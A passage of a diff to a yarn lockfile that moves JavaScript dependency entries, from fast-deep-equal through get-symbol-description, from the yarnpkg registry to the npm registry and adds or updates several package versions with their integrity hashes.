+  resolved "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz"
   integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
 
-fast-glob@^3.2.11, fast-glob@^3.2.12, fast-glob@^3.2.9:
+fast-fifo@^1.2.0, fast-fifo@^1.3.2:
+  version "1.3.2"
+  resolved "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz"
+  integrity sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==
+
+fast-glob@^3.2.9:
   version "3.2.12"
-  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.12.tgz#7f39ec99c2e6ab030337142da9e0c18f37afae80"
+  resolved "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.12.tgz"
   integrity sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==
   dependencies:
     "@nodelib/fs.stat" "^2.0.2"
@@ -5241,7 +5784,7 @@ fast-glob@^3.2.11, fast-glob@^3.2.12, fast-glob@^3.2.9:
 
 fast-glob@^3.3.2:
   version "3.3.2"
-  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.3.2.tgz#a904501e57cfdd2ffcded45e99a54fef55e46129"
+  resolved "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz"
   integrity sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==
   dependencies:
     "@nodelib/fs.stat" "^2.0.2"
@@ -5252,24 +5795,24 @@ fast-glob@^3.3.2:
 
 fast-json-stable-stringify@2.x, fast-json-stable-stringify@^2.0.0, fast-json-stable-stringify@^2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
+  resolved "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz"
   integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
 
-fast-levenshtein@^2.0.6, fast-levenshtein@~2.0.6:
+fast-levenshtein@^2.0.6:
   version "2.0.6"
-  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  resolved "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz"
   integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
 
 fastq@^1.6.0:
   version "1.13.0"
-  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.13.0.tgz#616760f88a7526bdfc596b7cab8c18938c36b98c"
+  resolved "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz"
   integrity sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==
   dependencies:
     reusify "^1.0.4"
 
 fb-babel-plugin-utils@^0.13.0:
   version "0.13.1"
-  resolved "https://registry.yarnpkg.com/fb-babel-plugin-utils/-/fb-babel-plugin-utils-0.13.1.tgz#ff1d9466fc4875f8f71a1c6f6e83f558118b0d2e"
+  resolved "https://registry.npmjs.org/fb-babel-plugin-utils/-/fb-babel-plugin-utils-0.13.1.tgz"
   integrity sha512-AxAr7ut7v4fzHp5VETGxcDUPmRup5H7bkMNNfxaRunS3jzm2rOS5NLvCPCDnnQIiI6AB0x2GrOx/eIcAOVJAAA==
   dependencies:
     "@babel/core" "^7.0.0"
@@ -5287,51 +5830,102 @@ fb-babel-plugin-utils@^0.13.0:
 
 fb-watchman@^2.0.0:
   version "2.0.2"
-  resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-2.0.2.tgz#e9524ee6b5c77e9e5001af0f85f3adbb8623255c"
+  resolved "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz"
   integrity sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==
   dependencies:
     bser "2.1.1"
 
-fbt@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fbt/-/fbt-1.0.0.tgz#1a7c077ee06675e554061160443ed454933a1b4a"
-  integrity sha512-0LORP21IrBntxDEJOf5Kq4Napf/nsH18EwdMl1AO0clilKjiXBoQUVVY8V2IEgQVT92wBxPtpQfhfC3/EM8QdQ==
+fbt@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/fbt/-/fbt-1.0.2.tgz"
+  integrity sha512-vWIasrcX34OW2EWohjrAQM0jpJBH2FjqxW9XrQd38xhtBVXWaks34ePWBSHO3QEShmirRx6kwJNZJrofsHjvlw==
   dependencies:
     invariant "^2.2.4"
 
+fd-slicer@~1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz"
+  integrity sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==
+  dependencies:
+    pend "~1.2.0"
+
+fdir@^6.4.3:
+  version "6.4.3"
+  resolved "https://registry.npmjs.org/fdir/-/fdir-6.4.3.tgz"
+  integrity sha512-PMXmW2y1hDDfTSRc9gaXIuCCRpuoz3Kaz8cUelp3smouvfT632ozg2vrT6lJsHKKOF59YLbOGfAWGUcKEfRMQw==
+
+fecha@^4.2.0:
+  version "4.2.3"
+  resolved "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz"
+  integrity sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==
+
 file-entry-cache@^6.0.1:
   version "6.0.1"
-  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
+  resolved "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz"
   integrity sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==
   dependencies:
     flat-cache "^3.0.4"
 
-fill-range@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
-  integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==
+file-entry-cache@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz"
+  integrity sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==
+  dependencies:
+    flat-cache "^4.0.0"
+
+filelist@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/filelist/-/filelist-1.0.4.tgz#f78978a1e944775ff9e62e744424f215e58352b5"
+  integrity sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==
+  dependencies:
+    minimatch "^5.0.1"
+
+fill-range@^7.1.1:
+  version "7.1.1"
+  resolved "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz"
+  integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==
   dependencies:
     to-regex-range "^5.0.1"
 
+finalhandler@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.0.tgz"
+  integrity sha512-/t88Ty3d5JWQbWYgaOGCCYfXRwV1+be02WqYYlL6h0lEiUAMPM8o8qKGO01YIkOHzka2up08wvgYD0mDiI+q3Q==
+  dependencies:
+    debug "^4.4.0"
+    encodeurl "^2.0.0"
+    escape-html "^1.0.3"
+    on-finished "^2.4.1"
+    parseurl "^1.3.3"
+    statuses "^2.0.1"
+
 find-cache-dir@^2.0.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-2.1.0.tgz#8d0f94cd13fe43c6c7c261a0d86115ca918c05f7"
+  resolved "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz"
   integrity sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==
   dependencies:
     commondir "^1.0.1"
     make-dir "^2.0.0"
     pkg-dir "^3.0.0"
 
+find-node-modules@2.1.3:
+  version "2.1.3"
+  resolved "https://registry.npmjs.org/find-node-modules/-/find-node-modules-2.1.3.tgz"
+  integrity sha512-UC2I2+nx1ZuOBclWVNdcnbDR5dlrOdVb7xNjmT/lHE+LsgztWks3dG7boJ37yTS/venXw84B/mAW9uHVoC5QRg==
+  dependencies:
+    findup-sync "^4.0.0"
+    merge "^2.1.1"
+
 find-up@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
+  resolved "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz"
   integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==
   dependencies:
     locate-path "^3.0.0"
 
 find-up@^4.0.0, find-up@^4.1.0:
   version "4.1.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
+  resolved "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz"
   integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
   dependencies:
     locate-path "^5.0.0"
@@ -5339,33 +5933,66 @@ find-up@^4.0.0, find-up@^4.1.0:
 
 find-up@^5.0.0:
   version "5.0.0"
-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc"
+  resolved "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz"
   integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
   dependencies:
     locate-path "^6.0.0"
     path-exists "^4.0.0"
 
+findup-sync@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz"
+  integrity sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==
+  dependencies:
+    detect-file "^1.0.0"
+    is-glob "^4.0.0"
+    micromatch "^4.0.2"
+    resolve-dir "^1.0.1"
+
 flat-cache@^3.0.4:
   version "3.0.4"
-  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.0.4.tgz#61b0338302b2fe9f957dcc32fc2a87f1c3048b11"
+  resolved "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz"
   integrity sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==
   dependencies:
     flatted "^3.1.0"
     rimraf "^3.0.2"
 
+flat-cache@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz"
+  integrity sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==
+  dependencies:
+    flatted "^3.2.9"
+    keyv "^4.5.4"
+
+flat@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz"
+  integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==
+
 flatted@^3.1.0:
   version "3.2.7"
-  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.2.7.tgz#609f39207cb614b89d0765b477cb2d437fbf9787"
+  resolved "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz"
   integrity sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==
 
+flatted@^3.2.9:
+  version "3.3.2"
+  resolved "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz"
+  integrity sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==
+
 flow-enums-runtime@^0.0.4:
   version "0.0.4"
-  resolved "https://registry.yarnpkg.com/flow-enums-runtime/-/flow-enums-runtime-0.0.4.tgz#038635c679030d08d4c197db29a2fad62722072f"
+  resolved "https://registry.npmjs.org/flow-enums-runtime/-/flow-enums-runtime-0.0.4.tgz"
   integrity sha512-kkJ/ABZb4rhyFw05yCWdcA1K2uW7ddYzz9zVNJp5kRX3BzsIynB4f0E4oLlf+zgDLErj9FwGda1qEAmhnRNXPQ==
 
+fn.name@1.x.x:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz"
+  integrity sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==
+
 folder-hash@^4.0.4:
   version "4.0.4"
-  resolved "https://registry.yarnpkg.com/folder-hash/-/folder-hash-4.0.4.tgz#f5ffa14e9fc6f3213598f6a367207adf7d419edc"
+  resolved "https://registry.npmjs.org/folder-hash/-/folder-hash-4.0.4.tgz"
   integrity sha512-zEyYH+UsHEfJJcCRSf9ai5I4CTZwZ8ObONRuEI5hcEmJY5pS0FUWKruX9mMnYJrgC7MlPFDYnGsK1R+WFYjLlQ==
   dependencies:
     debug "^4.3.3"
@@ -5373,193 +6000,188 @@ folder-hash@^4.0.4:
 
 follow-redirects@^1.15.6:
   version "1.15.6"
-  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.6.tgz#7f815c0cda4249c74ff09e95ef97c23b5fd0399b"
+  resolved "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz"
   integrity sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==
 
-for-each@^0.3.3:
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
-  integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==
+for-each@^0.3.3, for-each@^0.3.5:
+  version "0.3.5"
+  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.5.tgz#d650688027826920feeb0af747ee7b9421a41d47"
+  integrity sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==
   dependencies:
-    is-callable "^1.1.3"
+    is-callable "^1.2.7"
 
 foreground-child@^3.1.0:
   version "3.1.1"
-  resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.1.1.tgz#1d173e776d75d2772fed08efe4a0de1ea1b12d0d"
+  resolved "https://registry.npmjs.org/foreground-child/-/foreground-child-3.1.1.tgz"
   integrity sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==
   dependencies:
     cross-spawn "^7.0.0"
     signal-exit "^4.0.1"
 
+foreground-child@^3.1.1:
+  version "3.3.0"
+  resolved "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz"
+  integrity sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==
+  dependencies:
+    cross-spawn "^7.0.0"
+    signal-exit "^4.0.1"
+
 form-data@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.0.tgz#93919daeaf361ee529584b9b31664dc12c9fa452"
+  resolved "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz"
   integrity sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==
   dependencies:
     asynckit "^0.4.0"
     combined-stream "^1.0.8"
     mime-types "^2.1.12"
 
-fraction.js@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/fraction.js/-/fraction.js-4.2.0.tgz#448e5109a313a3527f5a3ab2119ec4cf0e0e2950"
-  integrity sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==
+forwarded@0.2.0:
+  version "0.2.0"
+  resolved "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz"
+  integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==
+
+fresh@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz"
+  integrity sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==
+
+fs-extra@^4.0.2:
+  version "4.0.3"
+  resolved "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz"
+  integrity sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==
+  dependencies:
+    graceful-fs "^4.1.2"
+    jsonfile "^4.0.0"
+    universalify "^0.1.0"
 
 fs.realpath@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
+  resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz"
   integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
 
-fsevents@2.3.2, fsevents@^2.3.2, fsevents@~2.3.2:
+fsevents@^2.3.2:
   version "2.3.2"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
+  resolved "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz"
   integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
 
+fsevents@~2.3.2:
+  version "2.3.3"
+  resolved "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz"
+  integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
+
 function-bind@^1.1.1:
   version "1.1.1"
-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
+  resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz"
   integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
 
 function-bind@^1.1.2:
   version "1.1.2"
-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
+  resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz"
   integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
 
-function.prototype.name@^1.1.5:
-  version "1.1.5"
-  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.5.tgz#cce0505fe1ffb80503e6f9e46cc64e46a12a9621"
-  integrity sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.19.0"
-    functions-have-names "^1.2.2"
-
-function.prototype.name@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.6.tgz#cdf315b7d90ee77a4c6ee216c3c3362da07533fd"
-  integrity sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==
+function.prototype.name@^1.1.6, function.prototype.name@^1.1.8:
+  version "1.1.8"
+  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz#e68e1df7b259a5c949eeef95cdbde53edffabb78"
+  integrity sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
     functions-have-names "^1.2.3"
+    hasown "^2.0.2"
+    is-callable "^1.2.7"
 
-functions-have-names@^1.2.2, functions-have-names@^1.2.3:
+functions-have-names@^1.2.3:
   version "1.2.3"
   resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834"
   integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==
 
 gensync@^1.0.0-beta.2:
   version "1.0.0-beta.2"
-  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
+  resolved "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz"
   integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==
 
 get-caller-file@^2.0.1, get-caller-file@^2.0.5:
   version "2.0.5"
-  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
+  resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz"
   integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
 
-get-intrinsic@^1.0.2, get-intrinsic@^1.1.1:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.3.tgz#063c84329ad93e83893c7f4f243ef63ffa351385"
-  integrity sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==
-  dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.3"
-
-get-intrinsic@^1.1.3, get-intrinsic@^1.2.0:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.1.tgz#d295644fed4505fc9cde952c37ee12b477a83d82"
-  integrity sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==
-  dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-proto "^1.0.1"
-    has-symbols "^1.0.3"
-
-get-intrinsic@^1.2.1, get-intrinsic@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.2.tgz#281b7622971123e1ef4b3c90fd7539306da93f3b"
-  integrity sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA==
+get-intrinsic@^1.2.4, get-intrinsic@^1.2.5, get-intrinsic@^1.2.6, get-intrinsic@^1.2.7, get-intrinsic@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz"
+  integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==
   dependencies:
+    call-bind-apply-helpers "^1.0.2"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
     function-bind "^1.1.2"
-    has-proto "^1.0.1"
-    has-symbols "^1.0.3"
-    hasown "^2.0.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    math-intrinsics "^1.1.0"
 
 get-package-type@^0.1.0:
   version "0.1.0"
-  resolved "https://registry.yarnpkg.com/get-package-type/-/get-package-type-0.1.0.tgz#8de2d803cff44df3bc6c456e6668b36c3926e11a"
+  resolved "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz"
   integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==
 
-get-stream@^6.0.0, get-stream@^6.0.1:
+get-proto@^1.0.0, get-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz"
+  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-object-atoms "^1.0.0"
+
+get-stream@^5.1.0:
+  version "5.2.0"
+  resolved "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz"
+  integrity sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==
+  dependencies:
+    pump "^3.0.0"
+
+get-stream@^6.0.0:
   version "6.0.1"
-  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
+  resolved "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz"
   integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
 
-get-symbol-description@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.0.0.tgz#7fdb81c900101fbd564dd5f1a30af5aadc1e58d6"
-  integrity sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==
+get-symbol-description@^1.1.0:
+  version "1.1.0"
